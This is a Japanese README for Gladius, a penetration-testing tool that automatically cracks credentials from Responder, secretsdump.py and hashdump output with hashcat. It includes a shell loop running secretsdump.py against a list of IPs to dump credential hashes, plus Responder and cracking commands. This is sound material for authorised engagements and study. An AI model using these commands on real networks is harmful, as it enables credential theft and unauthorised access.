
Automated Responder / secretsdump.py によるクラッキング
作者: Cory Duplantis (@ctfhacker) / ブログ
Gladiusは、エンゲージメント中に様々なソースから認証情報を自動的にクラックする方法を提供します。現在、Responder、secretsdump.py、smart_hashdumpからのハッシュをクラックします。
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
通常通りResponderセッションを開始します
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
secretsdumpの結果をGladiusに送り、解析とクラックを行います。
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
デフォルトのルールセットは、PraetorianのJulian Dunning(@hob0man)による改良版best64ルールセットです。このトピックに関する彼のプレゼンテーションは以下でご覧いただけます:
Responderのログから*NTLM*txtファイルを監視します。ファイルが見つかるごとに出力を解析し、新しいハッシュを含む一時ファイルを作成し、正しいハッシュタイプを指定してhashcatに渡します。
ハッシュダンプからのNTLMハッシュを監視するには、単にハッシュダンプからNTLMハッシュを含むファイルを作成し、ファイル名に`hashdump`を含むファイルをResponderディレクトリに置いてください。
注意:`hashdump`クラックの結果を確認するには、`./engagement/responderhander_out/*`の出力を手動で確認する必要があります。
hashcatからの出力を監視し、次の形式でファイルをエクスポートします:
ドメイン ユーザー名 パスワード
Gladiusを拡張するには:
GladiusHandlerを継承する新しいHandlerクラスを作成します。'*'でも可)。process(self, event)関数を作成します。class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# データに対して処理を実行
ハンドラリストに自分を追加します
handlers = [
(ResponderHandler, args.responder),
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]